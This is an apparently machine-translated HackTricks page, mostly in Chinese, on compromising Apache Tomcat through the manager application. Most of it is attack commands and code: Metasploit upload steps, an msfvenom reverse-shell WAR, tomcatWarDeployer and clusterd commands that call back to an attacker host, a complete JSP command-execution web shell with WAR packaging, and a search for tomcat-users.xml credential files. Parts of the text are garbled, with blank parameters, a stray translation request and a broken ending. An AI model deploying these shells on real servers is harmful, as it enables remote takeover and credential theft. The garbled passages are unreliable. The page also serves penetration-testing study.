# Tomcat
{{#include ../../../banners/hacktricks-training.md}}
## Discovery
- 它通常运行在 **port 8080**
- **常见的 Tomcat 错误：**
msf exploit(multi/http/tomcat_mgr_upload) > set rport
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom 反向 Shell
1. 创建要部署的 war：
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war
```
2. 上传 `revshell.war` 文件并访问它 (`/revshell/`):
### 使用 [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) 进行绑定和反向 shell
在某些情况下，这可能不起作用（例如旧版本的 sun）
#### 下载
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### 反向 shell
```bash
./tomcatWarDeployer.py -U -P -H -p :/manager/html/
```
#### 绑定 shell
```bash
./tomcatWarDeployer.py -U -P -p :/manager/html/
```
### 使用 [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### 手动方法 - Web shell
创建 **index.jsp**，并使用此 [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+""; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<%=output %>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
您还可以安装此程序（允许上传、下载和命令执行）：[http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### 手动方法 2
获取一个 JSP web shell，例如 [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)，并创建一个 WAR 文件：
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Tomcat 凭据文件的名称是 `tomcat-users.xml`，该文件指示用户在 tomcat 中的角色。
```bash
find / -name tomcat-users.xml 2>/dev/null
```
请提供需要翻译的内容。
```xml
[...]
[...]
.png)